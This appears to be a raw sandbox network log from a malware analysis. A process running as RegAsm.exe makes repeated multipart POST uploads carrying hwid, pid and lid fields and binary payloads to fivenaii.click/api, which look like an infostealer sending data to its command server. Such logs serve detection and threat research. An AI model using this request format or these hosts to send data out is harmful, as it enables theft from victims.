2024-12-27 21:33:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 21:33:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49759	104.21.60.24	443	7552	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:20 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6G55XVIVJGCYD2KDH6P User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8795 Host: fivenaii.click
2024-12-27 21:33:20 UTC	8795	OUT	Data Raw: 2d 2d 36 47 35 35 58 56 49 56 4a 47 43 59 44 32 4b 44 48 36 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 42 32 39 35 46 33 31 41 38 34 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 36 47 35 35 58 56 49 56 4a 47 43 59 44 32 4b 44 48 36 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 36 47 35 35 58 56 49 56 4a 47 43 59 44 32 4b 44 48 36 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 43 36 44 66 6d 2d 2d 54 65 Data Ascii: --6G55XVIVJGCYD2KDH6PContent-Disposition: form-data; name="hwid"B9B295F31A84D198BEBA0C6A975F1733--6G55XVIVJGCYD2KDH6PContent-Disposition: form-data; name="pid"2--6G55XVIVJGCYD2KDH6PContent-Disposition: form-data; name="lid"VC6Dfm--Te
2024-12-27 21:33:21 UTC	1122	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u79rl1gf7g9sptisk0cnkfli7j; expires=Tue, 22 Apr 2025 15:19:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hR4pm5cr8nmLPkquxXnEop1byh3kbtFOcsNWsjqcJrFrfvJwNYM2wdWykthOEdJJSMrvGxaS3GiMwTi96SyGX2xfOG29QCgBgDgdc4DPUMK4BHmG6EjW99MMxdgLH4EoFQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6dac0fad434a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1761&min_rtt=1738&rtt_var=699&sent=12&recv=20&lost=0&retrans=0&sent_bytes=2832&recv_bytes=9733&delivery_rate=1513737&cwnd=228&unsent_bytes=0&cid=e30165c752f8e79f&ts=833&x=0"
2024-12-27 21:33:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 21:33:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49761	104.21.60.24	443	7552	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:22 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=K1R1QCQ80Y27RGQNZZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: fivenaii.click
2024-12-27 21:33:22 UTC	15331	OUT	Data Raw: 2d 2d 4b 31 52 31 51 43 51 38 30 59 32 37 52 47 51 4e 5a 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 42 32 39 35 46 33 31 41 38 34 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4b 31 52 31 51 43 51 38 30 59 32 37 52 47 51 4e 5a 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4b 31 52 31 51 43 51 38 30 59 32 37 52 47 51 4e 5a 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 43 36 44 66 6d 2d 2d 54 65 73 74 4f Data Ascii: --K1R1QCQ80Y27RGQNZZContent-Disposition: form-data; name="hwid"B9B295F31A84D198BEBA0C6A975F1733--K1R1QCQ80Y27RGQNZZContent-Disposition: form-data; name="pid"3--K1R1QCQ80Y27RGQNZZContent-Disposition: form-data; name="lid"VC6Dfm--TestO
2024-12-27 21:33:22 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-12-27 21:33:23 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6isg9qjnhp2c72rif56189md4a; expires=Tue, 22 Apr 2025 15:20:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V%2FBCKmL2%2F4Q3B3cnGcuKlE8jQZCCZMTqq1U535cW5dzkmQBUMvboZq6jQskZ0xu5cghuyWV54unMeg9vLeYyTPWCsuFNJuK70BfIFo3kHuI%2FY3u%2FnBF9rnN8haPKbrCfIg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6dbb29e1427f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1614&min_rtt=1607&rtt_var=617&sent=20&recv=25&lost=0&retrans=0&sent_bytes=2834&recv_bytes=21402&delivery_rate=1751649&cwnd=239&unsent_bytes=0&cid=9a08c280fe838b81&ts=1246&x=0"
2024-12-27 21:33:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 21:33:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49763	104.21.60.24	443	7552	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:25 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=C9M7QTVU9XVV7VB4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1272 Host: fivenaii.click
2024-12-27 21:33:25 UTC	1272	OUT	Data Raw: 2d 2d 43 39 4d 37 51 54 56 55 39 58 56 56 37 56 42 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 42 32 39 35 46 33 31 41 38 34 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 43 39 4d 37 51 54 56 55 39 58 56 56 37 56 42 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 39 4d 37 51 54 56 55 39 58 56 56 37 56 42 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 43 36 44 66 6d 2d 2d 54 65 73 74 4f 74 63 74 75 6b 0d Data Ascii: --C9M7QTVU9XVV7VB4Content-Disposition: form-data; name="hwid"B9B295F31A84D198BEBA0C6A975F1733--C9M7QTVU9XVV7VB4Content-Disposition: form-data; name="pid"1--C9M7QTVU9XVV7VB4Content-Disposition: form-data; name="lid"VC6Dfm--TestOtctuk
2024-12-27 21:33:26 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iujr80dtbp0fpf3a7hodj6rhdc; expires=Tue, 22 Apr 2025 15:20:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xtziaq%2BcyaX%2FxBAwcLhVTyvKycEijKGozDg0aGR33oMmgzCeon%2ForazqQGad6payLUtOPmXuqhkQpgorYvzTKqh98iGHorSY4KtrOHesZGGukp8%2BRmlzT611bmHusp3zRA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6dcadbe4c46b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1645&min_rtt=1639&rtt_var=626&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=2185&delivery_rate=1730883&cwnd=226&unsent_bytes=0&cid=00453f30823f6891&ts=773&x=0"
2024-12-27 21:33:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 21:33:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49762	104.21.60.24	443	7548	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:25 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=L0O4KIZ8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18108 Host: fivenaii.click
2024-12-27 21:33:25 UTC	15331	OUT	Data Raw: 2d 2d 4c 30 4f 34 4b 49 5a 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 42 32 39 35 46 33 31 41 38 34 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4c 30 4f 34 4b 49 5a 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 30 4f 34 4b 49 5a 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 43 36 44 66 6d 2d 2d 54 65 73 74 4f 74 63 74 75 6b 0d 0a 2d 2d 4c 30 4f 34 4b 49 5a 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 Data Ascii: --L0O4KIZ8Content-Disposition: form-data; name="hwid"B9B295F31A84D198BEBA0C6A975F1733--L0O4KIZ8Content-Disposition: form-data; name="pid"2--L0O4KIZ8Content-Disposition: form-data; name="lid"VC6Dfm--TestOtctuk--L0O4KIZ8Content-Dis
2024-12-27 21:33:25 UTC	2777	OUT	Data Raw: cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f c9 35 8b 56 2d Data Ascii: \f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_5V-
2024-12-27 21:33:26 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5ibsuo1lv9glq2seo92grd68rc; expires=Tue, 22 Apr 2025 15:20:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2kokgEiQIKMJ28u00nLu05Rhpe3m%2FIStCBak8tXBbDiYbLotkjoGxQ6kA1J0pbPW%2FoHQuC%2FiLfNlnmRmErysy6KTkbmYxa1ZF733fIMhJ%2BSarmAaXKSCf2wtZtkw3Lpxqw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6dcade127277-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2011&min_rtt=2002&rtt_var=769&sent=16&recv=22&lost=0&retrans=0&sent_bytes=2833&recv_bytes=19058&delivery_rate=1407228&cwnd=225&unsent_bytes=0&cid=9268467016b9fc75&ts=951&x=0"
2024-12-27 21:33:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 21:33:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49764	104.21.60.24	443	7548	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:27 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CP7BM4U9RCKUZ8R User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8771 Host: fivenaii.click
2024-12-27 21:33:27 UTC	8771	OUT	Data Raw: 2d 2d 43 50 37 42 4d 34 55 39 52 43 4b 55 5a 38 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 42 32 39 35 46 33 31 41 38 34 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 43 50 37 42 4d 34 55 39 52 43 4b 55 5a 38 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 50 37 42 4d 34 55 39 52 43 4b 55 5a 38 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 43 36 44 66 6d 2d 2d 54 65 73 74 4f 74 63 74 75 6b 0d 0a 2d 2d Data Ascii: --CP7BM4U9RCKUZ8RContent-Disposition: form-data; name="hwid"B9B295F31A84D198BEBA0C6A975F1733--CP7BM4U9RCKUZ8RContent-Disposition: form-data; name="pid"2--CP7BM4U9RCKUZ8RContent-Disposition: form-data; name="lid"VC6Dfm--TestOtctuk--
2024-12-27 21:33:28 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hb8gvgqr93hb25s2mf96gqcrqm; expires=Tue, 22 Apr 2025 15:20:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D%2BE7RA2WUiXaH5YVpF16G2LeouFbiH4VdP6HnSCdKU%2BdsKOdYVdl2pxX0rZIHEAQmjoV%2FWmRwHJoLBd16AEXdZGtZpMnlTyUwYNfXpqHNr1uz74jHoVJ%2FUArwxJ952h4Dg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6dd8dbb642a0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1586&min_rtt=1577&rtt_var=611&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2833&recv_bytes=9705&delivery_rate=1764350&cwnd=225&unsent_bytes=0&cid=22e6ede5bd1afcd1&ts=841&x=0"
2024-12-27 21:33:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 21:33:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49765	104.21.60.24	443	7552	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:27 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NK6VN6CQ4BZSATYGE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571134 Host: fivenaii.click
2024-12-27 21:33:27 UTC	15331	OUT	Data Raw: 2d 2d 4e 4b 36 56 4e 36 43 51 34 42 5a 53 41 54 59 47 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 42 32 39 35 46 33 31 41 38 34 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4e 4b 36 56 4e 36 43 51 34 42 5a 53 41 54 59 47 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4e 4b 36 56 4e 36 43 51 34 42 5a 53 41 54 59 47 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 43 36 44 66 6d 2d 2d 54 65 73 74 4f 74 63 74 Data Ascii: --NK6VN6CQ4BZSATYGEContent-Disposition: form-data; name="hwid"B9B295F31A84D198BEBA0C6A975F1733--NK6VN6CQ4BZSATYGEContent-Disposition: form-data; name="pid"1--NK6VN6CQ4BZSATYGEContent-Disposition: form-data; name="lid"VC6Dfm--TestOtct
2024-12-27 21:33:27 UTC	15331	OUT	Data Raw: b5 19 41 10 99 63 b3 16 7e 74 8a f5 dd e3 18 65 26 61 e0 49 9c 12 90 f2 e6 bf ff d4 22 e4 03 f8 5d 15 2b 4c 25 56 4a 33 96 00 92 9e 84 05 53 1e 87 bd 02 6c 33 05 f0 bb f0 5a df 61 1c 92 d1 db 0a af 31 86 ce 4b d2 f0 bb c9 2e 22 e0 8c 3a 16 c6 71 b1 6b d6 e8 50 c5 ed ab fb b9 6e db 41 6a 90 e3 ff 5b a5 a4 f9 00 dd 7e 57 70 07 0d ea c9 e4 9e 20 e0 b5 85 83 05 68 0a ce 69 61 e1 25 66 ec 9e b4 52 01 88 f7 e7 82 51 ea 31 06 6f c1 d0 b6 cd 12 62 1c 92 ea 15 06 97 12 d3 1c dc 70 a0 41 9e 17 60 8c 8e d9 9e e1 50 02 c9 a9 c0 d4 ed fc 22 4d 9a df e6 e7 e4 b0 87 5f 8c 98 a2 9d 52 5e 8e 5c 28 7a c4 38 fe d5 e2 94 0a 6f 5a 2b 8e 5a 61 2a ab 31 04 cb f4 14 21 36 80 f7 a3 a8 18 53 70 01 c3 a2 a4 6c 35 f8 bb c8 73 6a 1d 89 5c d2 8a 7c 15 ff 98 f1 f8 aa 9d 04 95 cc 48 c7 Data Ascii: Ac~te&aI"]+L%VJ3Sl3Za1K.":qkPnAj[~Wp hia%fRQ1obpA`P"M_R^\(z8oZ+Za*1!6Spl5sj\\|H
2024-12-27 21:33:27 UTC	15331	OUT	Data Raw: 7c 11 d5 d3 68 ee 95 84 df b7 c4 33 99 55 bf 5c 15 f4 4f 0b 15 09 2f 16 46 34 ab e9 44 14 55 22 24 6f 59 19 49 63 1f 47 da 98 39 bd 9a ce 68 ff b5 06 cd 21 2c 6f 14 94 c2 be a8 b7 ca 6d 12 70 e4 a6 c2 58 fe 44 44 0b 45 22 d8 4b 82 76 ea 01 ae e3 05 82 8a 94 19 06 7b a5 22 4b 4c d7 32 1f 0d 9b 8a d1 2a e3 d3 cf 2a d7 25 43 04 88 7b ba df e5 37 d1 4d a6 60 a1 18 2d d5 87 78 b9 c2 17 1a b3 1f 0a 45 c6 76 4f 1a 02 1f 24 fa 4d 9d 52 04 62 82 4a ae 29 c5 e8 a0 7b 06 c3 85 66 bf 18 4d 0f 76 ac d3 4b 2c f6 77 9e 67 4a a2 c3 05 79 fb ea e9 7f a9 ba 7e 8f a3 30 0c ca 38 73 73 46 7e ab 6f 8e 59 72 06 a4 11 7e e7 2b 72 73 dd 0c 22 5c 6b 47 a8 d6 f7 07 c8 7b ba ae 47 50 ae 9c e1 ba bc c1 43 a3 af e6 a7 be 8b 5d ae fc 2b e8 67 8b c6 66 bc b7 0b e4 a3 09 67 9e 20 63 ee Data Ascii: \|h3U\O/F4DU"$oYIcG9h!,ompXDDE"Kv{"KL2**%C{7M`-xEvO$MRbJ){fMvK,wgJy~08ssF~oYr~+rs"\kG{GPC]+gfg c
2024-12-27 21:33:27 UTC	15331	OUT	Data Raw: 5e 2f ee d1 e0 08 ef 1c 65 3a ef 2a 4f a1 ef c5 1e c3 50 4b af ee 2d 9a a8 3a 34 52 dc a0 7d 72 10 21 ee ee 1d a0 fa 42 97 d3 ef 2d 43 8a be fa ed 49 89 ed d2 57 7b ea c5 a5 67 57 c3 80 6d 0c 6a 8e 6d d6 9a 57 02 30 d4 df 77 3f 1e 79 c5 74 e9 0b ce 40 1d 68 99 6f de f7 68 9d 70 35 5c 29 35 c5 db 3a 18 e5 bf bb 36 f5 17 41 37 45 50 fc 45 ec 80 2f 38 63 f3 5f d1 e4 e8 f5 8e 3a a3 9c a5 89 66 ab ed a5 a2 8f 4e bc e4 68 f9 dd 25 35 9f b8 66 3b e7 c3 af 17 de fb ef 65 c8 0e 0b de a1 b8 7d 40 f7 22 3f 3f e4 48 3f 20 fc 57 4b 49 dd dc e4 5c a4 ba 86 2e d9 7d bc d1 1b b5 24 72 13 ed 71 cf 35 49 28 a9 41 4f d0 cc 05 8c b5 a9 31 95 ba bd 05 c1 b5 25 d8 79 94 ba 79 5c 86 4e 18 dc f2 bb 73 f2 73 37 8e d9 d3 7e b4 24 6d e1 11 65 6f 77 fb c7 b9 d4 ca 1f 1c 83 38 0b 8a Data Ascii: ^/e:*OPK-:4R}r!B-CIW{gWmjmW0w?yt@hohp5\)5:6A7EPE/8c_:fNh%5f;e}@"??H? WKI\.}$rq5I(AO1%yy\Nss7~$meow8
